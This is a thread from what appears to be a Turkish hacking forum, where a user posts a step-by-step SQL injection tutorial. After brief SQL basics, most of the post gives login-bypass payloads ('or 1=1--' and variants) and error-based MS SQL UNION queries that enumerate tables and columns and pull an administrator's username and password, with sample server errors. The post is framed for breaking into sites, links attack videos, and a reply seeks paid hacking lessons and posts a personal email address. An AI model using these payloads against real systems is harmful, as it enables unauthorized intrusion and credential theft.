HACKER OO1
HOŞGELDİNİZ HACKEROO1
FORUM : BLOK : SİTEMİZ : =İÇRESİNDE
MÜKEMMEL PAYLAŞIMLAR VARDIR
SİZLERİNDE ARAMIZDA OLMANIZI İSTERİZ,TAMAMEN ÜCRETSİZ OLAN
PAYLAŞIMLAR VE ÜYELİGİMİZ:
KESİNLİKLE SİZLERİN İSTEKLERİNİZ
ÜZERİNE HAZIRLANMIŞ VE TASARLANMIŞTIR
SİTEMİZDE İYİ VAKİT GECİRMENİZ DİLEGİYLE
ADMİN

SQL Injection Nedir?Nasıl Yapılır ? Neye Yarar Ayrıntılı Anlatım

Önceki başlık Sonraki başlık Aşağa gitmek

SQL Injection Nedir?Nasıl Yapılır ? Neye Yarar Ayrıntılı Anlatım

Mesaj tarafından MASKE Bir Perş. Ocak 27, 2011 9:39 am

SQL Injection Ataklarını Geniş Bir Biçimde Anlattım.


Sorular. Maddeler. Başlıklar.

1) SQL Nedir?
2) SQL Injection Nedir?
3) Kaç Tür SQL Inj Vardır , Nasıl Yaparım ?

Cevaplar !

1- SQL Nedir?


SQL nedir?

Structured Query Language yani Yapılandırılmış Sorgu Dili demektir.İlişkisel veritabanlarını sorgulamak, güncellemek ve üstlerinde her türlü işi yapmak için kullanılır.SQL günümüzde hemen hemen her dille birlikte kullanılabilmektedir.Masaüstü programlama dilleri DELPHİ , C# tan tutunda web sistemlerinde kullanılan ASP,PHP gibi yaygın dillerle de birlikte kullanılmaktadır.SQL tek başına adeta aciz bir amcadan farklı değilken, koluna saydığımız dillerden birini taktığında ise gücüne inanamayacağınız bir dil haline gelebilir.
SQL’in Bazı Özellikleri:
* Sql case sensitve yani küçük büyük harf duyarlı değildir.Komutlarda ister küçük ister büyük harf yazabilirsin yani.
* Sql de alan isimlerini mümkün olduğunca TÜRKÇE karakterlerden arındırılmış bir şekilde yazın.Bunun nedeni de ileriki çalışmalarınız da sizi deli edecek hatalardan kurtulmanızdır.


Şimdi SQL’e küçük gibi görünen fakat çok büyük işler başaran bir kaç komutuna bakalım.


SELECT:
En basit anlamıyla veritabanından bir veriyi çekeceğiniz zaman kullandığımız bir komuttur.En sade kullanımı da şöyledir.

# SELECT alan1,alan2,alan3 FROM tablo_ismi
Bu sorgu sayesinde veritabanında istediğiniz tablodan istediğiniz alanı seçebilirsiniz.


# SELECT * FROM tablo_ismi
Bu sorgu sayesinde ise veritabanından istediğiniz tablodan tüm alanları seçebilirsiniz.

Diyelim ki siz illa ki tablodan tüm veriyi çekmek istemiyorsunuz o zaman ne yapacaksınız.
#SELECT * FROM tablo_ismi where ogrenci_numarasi = 123
Yukarıdaki sorguda öğrenci numarası 123 olan öğrencinin tüm bilgilerini bize getirecektir.İsterseniz bu sorguda * olan bölüme ad, soyad alanlarını çağırıp sadece adını soyadını da alabilirsiniz.Bu sizin ne amaçla kullandığınıza bağlı.

Acaba tablomuzda kaç isim var diye merak ettik veya kullanmak zorunda kaldık bunu nasıl öğreneceğiz dersiniz.O da kolay.
#SELECT COUNT(*) FROM tablo_ismi
Bu komutun sonunda size tamsayı bir değer dönecektir.

INSERT INTO :

Sql sorgularında bir tabloya veri kaydetmek için kullanılan yapıdır.
INSERT INTO tablo_adi (alan1,alan2,….) VALUES (deger1,deger2,……..) ;
Şeklinde Bir Syntaxla Kullanılır.
Değerlerinizi kontrol edin boş değer kaydetmeye çalışıyorsanız ve de veritabanındaki alanda bunu not null şeklinde ayarladıysanız bir hatayla karşılaşabilirsiniz.

UPDATE :

Sql sorgularında bir tablodaki veriyi düzenlemek için kullanılan koddur.
UPDATE carpartinfo SET CPIImg = CPIImg-1 WHERE CPIAutoID = ’$ProdID’
Bu Şekilde Kullanılır , Kodların Tamamına Buradan Ulaşabilirsiniz.

2-SQL Injection Nedir

SQL Injection bir veritabanına SQL üzerinden sızma! olarak özetlenebilir.Yazılan basit, masum SQL ler hiç farkında olunmadan yapması gereken işlemler dışında programcının istemeyeceği sonuçlara yol açabilir.Bu durum ,verileri dış dünyaya verme ya da veritabanında bir paket cağırma vs. şeklinde olabilir.
SQL Injection olması için veritabanında yazılan kodun “dynamic sql(dynamic sql)” olması gerekir.Yani SQL , gelecek parametrelere göre runtime esnasında oluşturulmalıdır.(“bind variable” kullanmanın tek avantajının performanslı kodlar yazmak olmadığı, veritabanı güvenliği (database security) içinde önemli olduğu buradan anlaşılmaktadır).
Web uygulamalarında bir çok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Mesela “SELECT * FROM Products” örnek SQL cümleciği basit şekilde veritabanından web uygulamasına tüm ürünleri döndürecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection’ a neden olabilir.

3 -a / Kaç Tür Vardır ?

MySQL , MsAcces , MsSQL , Postgre , Oracle Olmak Üzere 5 SQL Injection Vardır.Bunlarda Altlarında Katagorilere Ayrılır , Yazımızın Devamında Değineceğim Bunlara.

3 -b / Nasıl Yaparım ?

Geldik En Önemli kısıma Smile..

Öncelikle veri göndermenize izin veren sayfalara bakın, ör: login sayfası, arama sayfası, görüş bildirme formları vs. Bazen HTML sayfaları ASP sayfasına parametreleri göndermek için POST metodunu kullanır. Bu durumda URL’de parametreleri göremezsiniz. Fakat HTML kaynak koduna bakıp FORM tag’lerini kontrol edebilirsiniz. Buna benzer birşeyler bulabilirsiniz:




ve
tag’leri arasındaki herşey işimize yarayabilecek potansiyel parametrelerdir (exploit etmek için).

Yada ASP, JSP, CGI veya PHP vb. sayfalara göz atın. Aşağıdaki gibi parametre kabul eden sayfaları bulmaya çalışın:
http://duck/index.asp?id=10

Gibi.

SQL Injection’dan etkilenip etkilenmediğini Test Edebilmek İçin,

speci4L’ or 1=1--

cümleciğimi deneyin,kullanıcı adı veya şifre girişinde, hatta URL’de deneyin. Örnek:
- Login: speci4L’ or 1=1--
- Pass: speci4L’ or 1=1--
- http://duck/index.asp?id=speci4L’ or 1=1--

Eğer bunu "hidden" alanında yapmanız gerekirse, HTML sayfasını kendi makinanıza indirip kaydedin. Daha sonra bu dosya içerisinde URL ve hidden alanını değiştirin. Örnek:





Eğer şansınız varsa geçerli bir kullanıcı adı şifre olmadan siteye login olabileceksiniz.

’ or 1=1-- in neden önemli olduğuna bir örnekle bakalım. Login’i atlatmaktan başka extra bilgiler de edinilebilir. Aşağıdaki gibi bir asp sayfası düşünün:
http://duck/index.asp?kategori=yemek

URL’deki ’kategori’ bir değişken ismidir, ve ’yemek’ bu değişkene atanan değerdir. Bunu gerçekleştirmek için aşağıdaki gibi bir ASP kodu kullanılır:

v_kat = request("kategori")
sqlstr = "SELECT * FROM urunler WHERE PKategori=’" & v_kat & "’"
set rs=conn.execute(sqlstr)

Burada görüldüğü gibi değişkenimiz v_cat değişkenine atanıyor ve SQL sorgusu aşağıdaki gibi oluyor:

SELECT * FROM urunler WHERE PKategori=’yemek’

Sorgu WHERE şartına (’yemek’) uygun olarak bir veya daha fazla sonuç döndürecektir.

Şimdi URL’yi aşağıdaki değiştirdiğimizi varsayalım:
http://duck/index.asp?kategori=yemek’ or 1=1--

Böylece v_cat değişkenimiz "yemek’ or 1=1--" oldu, Eğer bu SQL sorgusunda kullanılırsa:
SELECT * FROM urunler WHERE PKategori=’yemek’ or 1=1--’

Bu sorgu, PKategori ’yemek’ değerine sahip olsa da olmasa da urunler kategorisindeki tüm verileri döndürecektir. Çift - işareti (--) MS SQL sunucusuna bu işaretlerden sonra gelen tüm girdileri göz ardı et anlamına gelir. Bu sayede en sonda kalan tek tırnak’tan (’) kurtulunmuş olur. Bazen iki - yerine tek bir # işareti de kullanılabilmektedir.

Bununla beraber, eğer SQL server değilse, veya sorgunun geri kalanınından kurtulamıyorsanız, aşağıdakini de deneyebilirsiniz:
’ or ’a’=’a
Bu şekilde SQL sorgusu aşağıdaki gibi olur:
SELECT * FROM urunler WHERE PKategori=’yemek’ or ’a’=’a’
Bu da aynı sonuçları dönecektir.
SQL sorgusuna bağlı olarak aşağıdakileri de deneyebilirsiniz:
or 1=1--
" or 1=1--
or 1=1--
’ or ’a’=’a
" or "a"="a
’) or (’a’=’a



Sorular.

1) Hata Mesajlarını Nasıl Analiz Edebilirim?
2) kolon isimlerini nasıl alırız?
3) verileri nasıl alırız?

Cevaplar !

1-hata mesajları ile veritabanından veriler nasıl alınır


MS SQL Sunucusunu ürettiği hata mesajları ile istediğimiz verileri alabiliriz. Örneğin aşağıdaki sayfada deniyelim:
http://duck/index.asp?id=10

Integer 10 değerine veritabanındaki başka bir string’i UNION ile getirmeyi deneyelim:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Sistem tablosu INFORMATION_SCHEMA.TABLES sunucudaki tüm tablolar hakkında bilgi içerir. TABLE_NAME alanı veritabanındaki her tablonun isim değerini içerir. Bunu seçmemizin sebebi varolduğuna emin olmamız. Sorgumuz:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Bu sorgu veritabanındaki ilk tablo ismini döndürecektir. Bu isim değerini (string) rakam olan (integer) 10 değerine UNION ile birleştirdiğimiz, MSQL Sunucusu bir string değerini (nvarchar) integer’e çevirmeye çalışacaktır ve nvarchar’ı int’e çeviremediği için hata ile sonuçlanacaktır. Sunucu aşağıdaki hata mesajını döner:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’table1’ to a column of data type int.
/index.asp, line 5

Hata mesajı bize değerin rakama çevirilemediğini belirtiyor. Bu durumda sunucudaki ilk tablo isminin "table1" olduğunu görmüş olduk.

Bir sonraki tablo ismini öğrenmek için aşağıdaki sorguyu çalıştırırız:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1’)--

Hatta LIKE şartını da kullanabiliriz:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%login%’--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admin_login’ to a column of data type int.
/index.asp, line 5

Burda ’%login%’ SQL sunucusunda %login% olarak görünecektir. Bu durumda kriterimize uyan ilk tablo ismini edinmiş oluyoruz, "admin_login".

2-kolon isimlerini almak

Bir table’daki tüm kolon isimlerini almak için yine yararlı başka bir table olan INFORMATION_SCHEMA.COLUMNS table’ını kullanabiliriz:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_id’ to a column of data type int.
/index.asp, line 5

İlk kolon ismini öğrendiğimize göre NOT IN () kullanarak bir sonraki kolon ismini de öğrenebiliriz:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_name’ to a column of data type int.
/index.asp, line 5

Gibi

3- İstediğimiz verileri Almak

Önemli bazı tabloları ve kolonlarını öğrendikten sonra aynı teknik ile istediğimiz verileri getirebiliriz:
Öncelikle admin_login tablosundaki ilk login_name değerini getirelim:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’neo’ to a column of data type int.
/index.asp, line 5

Artık "neo" login ismine sahip bir yönetici hesabı olduğunu biliyoruz. Son olarak veritabanından "neo" kullanıcısının şifresini getirelim:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’m4trix’ to a column of data type int.
/index.asp, line 5

Artık kullanıcı adı "neo" ve şifre "m4trix" ile login olabiliriz.

Ve Dökümanımızın Sonuna Geldik.

Şimdi Sizlere Vereceğim Videoları İzleyerek SQL Injection’da Pratikler Yapmanızı İsteyeceğim , Vereceğim Videolar Bug Researchers Grub’u Tarafından Çekilmiş ve Son Derece Kaliteli Videolardır.

rapidshare.com video.rar.html

http://www.dosya.tc/video_6.rar.html

http://s1.dosya.tc/sql.rar.html

Bugünkü videomda sizlere mssql’da tablo adı bulma,detaylı bir şekilde tablo adı arama vede bulma,kolon bulma,detaylı ve de kodlar sayesiyle kolonu çıkarmayı gösterdim.

Gerçekten Mssql basittir ve işlem %100dür , bir kod deniyosun sana tablo adı veriyor.O tablodan o tabloyu o tablodan o tabloyu ara dur

Access gibi değildir.Deneme yanılma yöntemi de yoktur.Eğer tablo adı bulduysanız kolonları da çok rahatca bulabilirsiniz

Ki videoda da ne kadar basit olduğunu gösterdim.

Video Download ;

http://www.dosya.tc/MsSQLInj_HayBer.rar.html

http://www.dosya.tc/MsSQLInj_HayBer.rar.html

MsSQL Injection Hacking - Site Hacking MsSQL Injection from Hay Ber on Vimeo.



~ Misyon Dahilinde Kullanmanız Dileğiyle
avatar
MASKE
hacker
hacker

Mesaj Sayısı : 199
rep-puan : 2147486355
Rep Puan : 53
Kayıt tarihi : 17/07/10
Yaş : 36
Nerden : İZMİR

Oyun Sayfası
Oyun Alanı:

Kullanıcı profilini gör http://www.hackeroo1.ace.st

Sayfa başına dön Aşağa gitmek

Geri: SQL Injection Nedir?Nasıl Yapılır ? Neye Yarar Ayrıntılı Anlatım

Mesaj tarafından coqnfechn Bir Perş. Ocak 27, 2011 9:47 am

tesekkürler emegine saglık.
Sizinle önemlı bi görüşme yabmak ıstıyorum ders almak ıstıyorum.
Tabi karsılıgıda olacak Msn adresimi eklerseniz sevinirim.

Msn : the_zeuqm4@hotmail.com

coqnfechn
GENEL BÖLÜM
GENEL BÖLÜM

Mesaj Sayısı : 4
rep-puan : 2520
Rep Puan : 0
Kayıt tarihi : 26/01/11
Yaş : 27
Nerden : İstanbul

Kullanıcı profilini gör

Sayfa başına dön Aşağa gitmek

Önceki başlık Sonraki başlık Sayfa başına dön

- Similar topics

 
Bu forumun müsaadesi var:
Bu forumdaki mesajlara cevap veremezsiniz